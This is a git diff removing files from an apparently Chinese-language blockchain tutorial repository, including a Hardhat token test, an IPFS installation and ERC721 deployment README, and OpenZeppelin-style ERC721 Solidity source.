-  let simpleToken
-  let hardhatSimpleToken
-  let owner
-  let addr1
-  let addr2
-  let addrs
-
-  // `beforeEach` will run before each test, re-deploying the contract every
-  // time. It receives a callback, which can be async.
-  beforeEach(async function () {
-    // Get the ContractFactory and Signers here.
-    simpleToken = await ethers.getContractFactory('SimpleToken')
-    ;[owner, addr1, addr2, ...addrs] = await ethers.getSigners()
-
-    // To deploy our contract, we just have to call Token.deploy() and await
-    // for it to be deployed(), which happens onces its transaction has been
-    // mined.
-    hardhatSimpleToken = await simpleToken.deploy(
-      'SimpleToken Test',
-      'SimpleToken Test',
-      1,
-      1000000
-    )
-    await hardhatSimpleToken.deployed()
-  })
-
-  // You can nest describe calls to create subsections.
-  describe('Deployment', function () {
-    // `it` is another Mocha function. This is the one you use to define your
-    // tests. It receives the test name, and a callback function.
-
-    it('Should assign the total supply of tokens to the owner', async function () {
-      const ownerBalance = await hardhatSimpleToken.balanceOf(owner.address)
-      expect(await hardhatSimpleToken.totalSupply()).to.equal(ownerBalance)
-    })
-  })
-
-  describe('Transactions', function () {
-    it('Should transfer tokens between accounts', async function () {
-      // Transfer 50 tokens from owner to addr1
-      await hardhatSimpleToken.transfer(addr1.address, 50)
-      const addr1Balance = await hardhatSimpleToken.balanceOf(addr1.address)
-      expect(addr1Balance).to.equal(50)
-
-      // Transfer 50 tokens from addr1 to addr2
-      // We use .connect(signer) to send a transaction from another account
-      await hardhatSimpleToken.connect(addr1).transfer(addr2.address, 50)
-      const addr2Balance = await hardhatSimpleToken.balanceOf(addr2.address)
-      expect(addr2Balance).to.equal(50)
-    })
-
-    it('Should fail if sender doesn’t have enough tokens', async function () {
-      const initialOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-
-      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
-      // `require` will evaluate false and revert the transaction.
-      await expect(
-        hardhatSimpleToken.connect(addr1).transfer(owner.address, 10000)
-      ).to.be.revertedWith('transfer amount exceeds balance')
-
-      // Owner balance shouldn't have changed.
-      expect(await hardhatSimpleToken.balanceOf(owner.address)).to.equal(
-        initialOwnerBalance
-      )
-    })
-
-    it('Should update balances after transfers', async function () {
-      const initialOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-
-      // Transfer 100 tokens from owner to addr1.
-      await hardhatSimpleToken.transfer(addr1.address, 100)
-
-      // Transfer another 50 tokens from owner to addr2.
-      await hardhatSimpleToken.transfer(addr2.address, 50)
-
-      // Check balances.
-      const finalOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150)
-
-      const addr1Balance = await hardhatSimpleToken.balanceOf(addr1.address)
-      expect(addr1Balance).to.equal(100)
-
-      const addr2Balance = await hardhatSimpleToken.balanceOf(addr2.address)
-      expect(addr2Balance).to.equal(50)
-    })
-  })
-})
diff --git a/Example10-hardhat-ipfs-erc721/README.md b/Example10-hardhat-ipfs-erc721/README.md
deleted file mode 100644
index 04ad7f797..000000000
--- a/Example10-hardhat-ipfs-erc721/README.md
+++ /dev/null
@@ -1,104 +0,0 @@
-## IPFS 介绍   
-是一个旨在创建持久且分布式存储和共享文件的网络传输协议。它是一种内容可寻址的对等超媒体分发协议。  
-
-在IPFS网络中的节点将构成一个分布式文件系统。它是一个开放源代码项目，自2014年开始由协议实验室在开源社区的帮助下发展。其最初由Juan Benet设计    
-IPFS是一个对等的分布式文件系统，它尝试为所有计算设备连接同一个文件系统。在某些方面，IPFS类似于万维网，也可以被视作一个独立的BitTorrent群、在同一个Git仓库中交换对象。 换种说法，IPFS提供了一个高吞吐量、按内容寻址的块存储模型，及与内容相关超链接。这形成了一个广义的Merkle有向无环图（DAG）。   
-
-IPFS结合了分布式散列表、鼓励块交换和一个自我认证的名字空间。IPFS没有单点故障，并且节点不需要相互信任。分布式内容传递可以节约带宽，和防止HTTP方案可能遇到的DDoS攻击。  
-
-该文件系统可以通过多种方式访问，包括FUSE与HTTP。将本地文件添加到IPFS文件系统可使其面向全世界可用。文件表示基于其哈希，因此有利于缓存。文件的分发采用一个基于BitTorrent的协议。其他查看内容的用户也有助于将内容提供给网络上的其他人。   
-IPFS有一个称为IPNS的名称服务，它是一个基于PKI的全局名字空间，用于构筑信任链，这与其他NS兼容，并可以映射DNS、.onion、.bit等到IPNS。  
-
-todo 1155 left
-
-## IPFS 安装   
-IPFS 有多种方式:  
-- IPFS Desktop: 直接运行的应用程序，适合所有人
-- Command-line: 命令行方式安装, 这我们选择这中安装方式, 下面以 mac 下这种安装方式为例进行讲解，其他系统安装方式参考文档
-  
-1) 下载文件  
-```
-wget https://dist.ipfs.io/go-ipfs/v0.8.0/go-ipfs_v0.8.0_darwin-amd64.tar.gz
-```
-
-2) 解压缩  
-```angular2html
-tar -xvzf go-ipfs_v0.8.0_darwin-amd64.tar.gz
-
-> x go-ipfs/install.sh
-> x go-ipfs/ipfs
-> x go-ipfs/LICENSE
-> x go-ipfs/LICENSE-APACHE
-> x go-ipfs/LICENSE-MIT
-> x go-ipfs/README.md
-```
-
-3) 执行安装  
-```angular2html
-cd go-ipfs
-bash install.sh
-
-> Moved ./ipfs to /usr/local/bin
-```
-
-4) 检查安装结果  
-```angular2html
-ipfs --version
-
-> ipfs version 0.8.0
-```
-
-## IPFS 初始化及启动  
-1) 初始化 ipfs   
-```angular2html
-ipfs init
-
-> initializing ipfs node at /Users/jbenet/.ipfs
-> generating 2048-bit RSA keypair...done
-> peer identity: Qmcpo2iLBikrdf1d6QU6vXuNb6P7hwrbNPW9kLAH8eG67z
-> to get started, enter:
->
->   ipfs cat /ipfs/QmYwAPJzv5CZsnA625s3Xf2nemtYgPpHdWEz79ojWnPbdG/readme
-```
-
-- peer identity : 每个 ipfs 节点都有一个独有的 id
-
-2) 启动  
-```angular2html
-ipfs daemon
-> Initializing daemon...
-> API server listening on /ip4/127.0.0.1/tcp/5001
-> Gateway server listening on /ip4/127.0.0.1/tcp/8080
-```
-
-3) IPFS Web console  
-在浏览器中输入地址 localhost:5001/webui 查看 IPFS 控制台
-
-## 测试 IPFS 和 ERC721   
-1) 执行如下命令  
-```angular2html
-npx hardhat run scripts/deploy.js --network kovan
-```
-
-2) 对比文件  
-在当前目录下执行如下命令
-```angular2html
-ipfs cat /ipfs/QmYZ4YXeF8ph17MDypDu8BnT2mFMM5mdyCVSpuQcajjy3x > art2.jpg
-```
-
-之后，可以对比下 art.jpg 和 art2.jpg 文件显示的内容是否一致
-
-
-## 合约
-合约参考open-zeppelin:
-修改项目：
-mintWithTokenURI新增方法，任何人可以发发行nft。  
-
-合约拍平  
-
-npx hardhat flatten ./contracts/MYERC721.sol > MYERC721.sol
-
-
-## 参考文档  
-https://docs.ipfs.io/install/command-line/#official-distributions  
-https://mp.weixin.qq.com/s?__biz=MzU5NzUwODcyMw==&mid=2247487056&idx=1&sn=d671430080280ddc58517f82ddb943e8&   chksm=fe53194cc924905aca2c26587b19635a7fd55bf00dd6150cdcc8966bc71bbb035e7ea3bb6910&cur_album_id=1540931513159057418&scene=189#rd  
\ No newline at end of file
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721.sol b/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721.sol
deleted file mode 100644
index 9a5b3e967..000000000
--- a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721.sol
+++ /dev/null
@@ -1,26 +0,0 @@
-pragma solidity ^0.4.25;
-import "./IERC165.sol";
-
-/**
- * @title ERC721 Non-Fungible Token Standard basic interface
- * @dev see https://eips.ethereum.org/EIPS/eip-721
- */
-contract IERC721 is IERC165 {
-    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
-    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
-    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
-
-    function balanceOf(address owner) public view returns (uint256 balance);
-    function ownerOf(uint256 tokenId) public view returns (address owner);
-
-    function approve(address to, uint256 tokenId) public;
-    function getApproved(uint256 tokenId) public view returns (address operator);
-
-    function setApprovalForAll(address operator, bool _approved) public;
-    function isApprovedForAll(address owner, address operator) public view returns (bool);
-
-    function transferFrom(address from, address to, uint256 tokenId) public;
-    function safeTransferFrom(address from, address to, uint256 tokenId) public;
-
-    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
-}
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Receiver.sol b/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Receiver.sol
deleted file mode 100644
index 02abe9ff0..000000000
--- a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Receiver.sol
+++ /dev/null
@@ -1,25 +0,0 @@
-pragma solidity ^0.4.25;
-
-/**
- * @title ERC721 token receiver interface
- * @dev Interface for any contract that wants to support safeTransfers
- * from ERC721 asset contracts.
- */
-contract IERC721Receiver {
-    /**
-     * @notice Handle the receipt of an NFT
-     * @dev The ERC721 smart contract calls this function on the recipient
-     * after a `safeTransfer`. This function MUST return the function selector,
-     * otherwise the caller will revert the transaction. The selector to be
-     * returned can be obtained as `this.onERC721Received.selector`. This
-     * function MAY throw to revert and reject the transfer.
-     * Note: the ERC721 contract address is always the message sender.
-     * @param operator The address which called `safeTransferFrom` function
-     * @param from The address which previously owned the token
-     * @param tokenId The NFT identifier which is being transferred
-     * @param data Additional data with no specified format
-     * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
-     */
-    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
-    public returns (bytes4);
-}
diff --git a/Example10-hardhat-ipfs-erc721/contracts/flattenMYERC721.sol b/Example10-hardhat-ipfs-erc721/contracts/flattenMYERC721.sol
deleted file mode 100644
index 808140524..000000000
--- a/Example10-hardhat-ipfs-erc721/contracts/flattenMYERC721.sol
+++ /dev/null
@@ -1,2199 +0,0 @@
-// Sources flattened with hardhat v2.3.0 https://hardhat.org
-
-// File contracts/IERC165.sol
-
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
-
-
-// File contracts/IERC721.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Required interface of an ERC721 compliant contract.
- */
-interface IERC721 is IERC165 {
-    /**
-     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
-     */
-    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
-
-    /**
-     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
-     */
-    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
-
-    /**
-     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
-     */
-    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
-
-    /**
-     * @dev Returns the number of tokens in ``owner``'s account.
-     */
-    function balanceOf(address owner) external view returns (uint256 balance);
-
-    /**
-     * @dev Returns the owner of the `tokenId` token.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     */
-    function ownerOf(uint256 tokenId) external view returns (address owner);
-
-    /**
-     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
-     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
-     *
-     * Requirements:
-     *
-     * - `from` cannot be the zero address.
-     * - `to` cannot be the zero address.
-     * - `tokenId` token must exist and be owned by `from`.
-     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
-     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
-     *
-     * Emits a {Transfer} event.
-     */
-    function safeTransferFrom(address from, address to, uint256 tokenId) external;
-
-    /**
-     * @dev Transfers `tokenId` token from `from` to `to`.
-     *
-     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
-     *
-     * Requirements:
-     *
-     * - `from` cannot be the zero address.
-     * - `to` cannot be the zero address.
-     * - `tokenId` token must be owned by `from`.
-     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transferFrom(address from, address to, uint256 tokenId) external;
-
-    /**
-     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
-     * The approval is cleared when the token is transferred.
-     *
-     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
-     *
-     * Requirements:
-     *
-     * - The caller must own the token or be an approved operator.
-     * - `tokenId` must exist.
-     *
-     * Emits an {Approval} event.
-     */
-    function approve(address to, uint256 tokenId) external;
-
-    /**
-     * @dev Returns the account approved for `tokenId` token.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     */
-    function getApproved(uint256 tokenId) external view returns (address operator);
-
-    /**
-     * @dev Approve or remove `operator` as an operator for the caller.
-     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
-     *
-     * Requirements:
-     *
-     * - The `operator` cannot be the caller.
-     *
-     * Emits an {ApprovalForAll} event.
-     */
-    function setApprovalForAll(address operator, bool _approved) external;
-
-    /**
-     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
-     *
-     * See {setApprovalForAll}
-     */
-    function isApprovedForAll(address owner, address operator) external view returns (bool);
-
-    /**
-      * @dev Safely transfers `tokenId` token from `from` to `to`.
-      *
-      * Requirements:
-      *
-      * - `from` cannot be the zero address.
-      * - `to` cannot be the zero address.
-      * - `tokenId` token must exist and be owned by `from`.
-      * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
-      * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
-      *
-      * Emits a {Transfer} event.
-      */
-    function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
-}
-
-
-// File contracts/extensions/IERC721Receiver.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @title ERC721 token receiver interface
- * @dev Interface for any contract that wants to support safeTransfers
- * from ERC721 asset contracts.
- */
-interface IERC721Receiver {
-    /**
-     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
-     * by `operator` from `from`, this function is called.
-     *
-     * It must return its Solidity selector to confirm the token transfer.
-     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
-     *
-     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
-     */
-    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
-}
-
-
-// File contracts/extensions/IERC721Metadata.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-interface IERC721Metadata is IERC721 {
-
-    /**
-     * @dev Returns the token collection name.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the token collection symbol.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
-     */
-    function tokenURI(uint256 tokenId) external view returns (string memory);
-}
-
-
-// File contracts/extensions/Address.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Collection of functions related to the address type
- */
-library Address {
-    /**
-     * @dev Returns true if `account` is a contract.
-     *
-     * [IMPORTANT]
-     * ====
-     * It is unsafe to assume that an address for which this function returns
-     * false is an externally-owned account (EOA) and not a contract.
-     *
-     * Among others, `isContract` will return false for the following
-     * types of addresses:
-     *
-     *  - an externally-owned account
-     *  - a contract in construction
-     *  - an address where a contract will be created
-     *  - an address where a contract lived, but was destroyed
-     * ====
-     */
-    function isContract(address account) internal view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-
-        uint256 size;
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-
-    /**
-     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
-     * `recipient`, forwarding all available gas and reverting on errors.
-     *
-     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
-     * of certain opcodes, possibly making contracts go over the 2300 gas limit
-     * imposed by `transfer`, making them unable to receive funds via
-     * `transfer`. {sendValue} removes this limitation.
-     *
-     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
-     *
-     * IMPORTANT: because control is transferred to `recipient`, care must be
-     * taken to not create reentrancy vulnerabilities. Consider using
-     * {ReentrancyGuard} or the
-     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
-     */
-    function sendValue(address payable recipient, uint256 amount) internal {
-        require(address(this).balance >= amount, "Address: insufficient balance");
-
-        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
-        (bool success, ) = recipient.call{ value: amount }("");
-        require(success, "Address: unable to send value, recipient may have reverted");
-    }
-
-    /**
-     * @dev Performs a Solidity function call using a low level `call`. A
-     * plain`call` is an unsafe replacement for a function call: use this
-     * function instead.
-     *
-     * If `target` reverts with a revert reason, it is bubbled up by this
-     * function (like regular Solidity function calls).
-     *
-     * Returns the raw returned data. To convert to the expected return value,
-     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
-     *
-     * Requirements:
-     *
-     * - `target` must be a contract.
-     * - calling `target` with `data` must not revert.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
-      return functionCall(target, data, "Address: low-level call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
-     * `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, 0, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but also transferring `value` wei to `target`.
-     *
-     * Requirements:
-     *
-     * - the calling contract must have an ETH balance of at least `value`.
-     * - the called Solidity function must be `payable`.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
-     * with `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
-        require(address(this).balance >= value, "Address: insufficient balance for call");
-        require(isContract(target), "Address: call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.call{ value: value }(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
-        return functionStaticCall(target, data, "Address: low-level static call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
-        require(isContract(target), "Address: static call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.staticcall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
-        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        require(isContract(target), "Address: delegate call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.delegatecall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
-        if (success) {
-            return returndata;
-        } else {
-            // Look for revert reason and bubble it up if present
-            if (returndata.length > 0) {
-                // The easiest way to bubble the revert reason is using memory via assembly
-
-                // solhint-disable-next-line no-inline-assembly
-                assembly {
-                    let returndata_size := mload(returndata)
-                    revert(add(32, returndata), returndata_size)
-                }
-            } else {
-                revert(errorMessage);
-            }
-        }
-    }
-}
-
-
-// File contracts/extensions/Context.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/*
- * @dev Provides information about the current execution context, including the
- * sender of the transaction and its data. While these are generally available
- * via msg.sender and msg.data, they should not be accessed in such a direct
- * manner, since when dealing with meta-transactions the account sending and
- * paying for execution may not be the actual sender (as far as an application
- * is concerned).
- *
- * This contract is only required for intermediate, library-like contracts.
- */
-abstract contract Context {
-    function _msgSender() internal view virtual returns (address) {
-        return msg.sender;
-    }
-
-    function _msgData() internal view virtual returns (bytes calldata) {
-        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
-        return msg.data;
-    }
-}
-
-
-// File contracts/extensions/Strings.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev String operations.
- */
-library Strings {
-    bytes16 private constant alphabet = "0123456789abcdef";
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
-     */
-    function toString(uint256 value) internal pure returns (string memory) {
-        // Inspired by OraclizeAPI's implementation - MIT licence
-        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
-
-        if (value == 0) {
-            return "0";
-        }
-        uint256 temp = value;
-        uint256 digits;
-        while (temp != 0) {
-            digits++;
-            temp /= 10;
-        }
-        bytes memory buffer = new bytes(digits);
-        while (value != 0) {
-            digits -= 1;
-            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
-            value /= 10;
-        }
-        return string(buffer);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
-     */
-    function toHexString(uint256 value) internal pure returns (string memory) {
-        if (value == 0) {
-            return "0x00";
-        }
-        uint256 temp = value;
-        uint256 length = 0;
-        while (temp != 0) {
-            length++;
-            temp >>= 8;
-        }
-        return toHexString(value, length);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
-     */
-    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
-        bytes memory buffer = new bytes(2 * length + 2);
-        buffer[0] = "0";
-        buffer[1] = "x";
-        for (uint256 i = 2 * length + 1; i > 1; --i) {
-            buffer[i] = alphabet[value & 0xf];
-            value >>= 4;
-        }
-        require(value == 0, "Strings: hex length insufficient");
-        return string(buffer);
-    }
-
-}
-
-
-// File contracts/ERC165.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Implementation of the {IERC165} interface.
- *
- * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
- * for the additional interface id that will be supported. For example:
- *
- * ```solidity
- * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
- *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
- * }
- * ```
- *
- * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
- */
-abstract contract ERC165 is IERC165 {
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IERC165).interfaceId;
-    }
-}
-
-
-// File contracts/ERC721.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-
-
-
-
-
-/**
- * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
- * the Metadata extension, but not including the Enumerable extension, which is available separately as
- * {ERC721Enumerable}.
- */
-contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
-    using Address for address;
-    using Strings for uint256;
-
-    // Token name
-    string private _name;
-
-    // Token symbol
-    string private _symbol;
-
-    // Mapping from token ID to owner address
-    mapping (uint256 => address) private _owners;
-
-    // Mapping owner address to token count
-    mapping (address => uint256) private _balances;
-
-    // Mapping from token ID to approved address
-    mapping (uint256 => address) private _tokenApprovals;
-
-    // Mapping from owner to operator approvals
-    mapping (address => mapping (address => bool)) private _operatorApprovals;
-
-    /**
-     * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
-        return interfaceId == type(IERC721).interfaceId
-            || interfaceId == type(IERC721Metadata).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev See {IERC721-balanceOf}.
-     */
-    function balanceOf(address owner) public view virtual override returns (uint256) {
-        require(owner != address(0), "ERC721: balance query for the zero address");
-        return _balances[owner];
-    }
-
-    /**
-     * @dev See {IERC721-ownerOf}.
-     */
-    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
-        address owner = _owners[tokenId];
-        require(owner != address(0), "ERC721: owner query for nonexistent token");
-        return owner;
-    }
-
-    /**
-     * @dev See {IERC721Metadata-name}.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev See {IERC721Metadata-symbol}.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev See {IERC721Metadata-tokenURI}.
-     */
-    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
-        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
-
-        string memory baseURI = _baseURI();
-        return bytes(baseURI).length > 0
-            ? string(abi.encodePacked(baseURI, tokenId.toString()))
-            : '';
-    }
-
-    /**
-     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
-     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty 
-     * by default, can be overriden in child contracts.
-     */
-    function _baseURI() internal view virtual returns (string memory) {
-        return "";
-    }
-
-    /**
-     * @dev See {IERC721-approve}.
-     */
-    function approve(address to, uint256 tokenId) public virtual override {
-        address owner = ERC721.ownerOf(tokenId);
-        require(to != owner, "ERC721: approval to current owner");
-
-        require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
-            "ERC721: approve caller is not owner nor approved for all"
-        );
-
-        _approve(to, tokenId);
-    }
-
-    /**
-     * @dev See {IERC721-getApproved}.
-     */
-    function getApproved(uint256 tokenId) public view virtual override returns (address) {
-        require(_exists(tokenId), "ERC721: approved query for nonexistent token");
-
-        return _tokenApprovals[tokenId];
-    }
-
-    /**
-     * @dev See {IERC721-setApprovalForAll}.
-     */
-    function setApprovalForAll(address operator, bool approved) public virtual override {
-        require(operator != _msgSender(), "ERC721: approve to caller");
-
-        _operatorApprovals[_msgSender()][operator] = approved;
-        emit ApprovalForAll(_msgSender(), operator, approved);
-    }
-
-    /**
-     * @dev See {IERC721-isApprovedForAll}.
-     */
-    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
-        return _operatorApprovals[owner][operator];
-    }
-
-    /**
-     * @dev See {IERC721-transferFrom}.
-     */
-    function transferFrom(address from, address to, uint256 tokenId) public virtual override {
-        //solhint-disable-next-line max-line-length
-        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
-
-        _transfer(from, to, tokenId);
-    }
-
-    /**
-     * @dev See {IERC721-safeTransferFrom}.
-     */
-    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
-        safeTransferFrom(from, to, tokenId, "");
-    }
-
-    /**
-     * @dev See {IERC721-safeTransferFrom}.
-     */
-    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
-        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
-        _safeTransfer(from, to, tokenId, _data);
-    }
-
-    /**
-     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
-     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
-     *
-     * `_data` is additional data, it has no specified format and it is sent in call to `to`.
-     *
-     * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
-     * implement alternative mechanisms to perform token transfer, such as signature-based.
-     *
-     * Requirements:
-     *
-     * - `from` cannot be the zero address.
-     * - `to` cannot be the zero address.
-     * - `tokenId` token must exist and be owned by `from`.
-     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
-     *
-     * Emits a {Transfer} event.
-     */
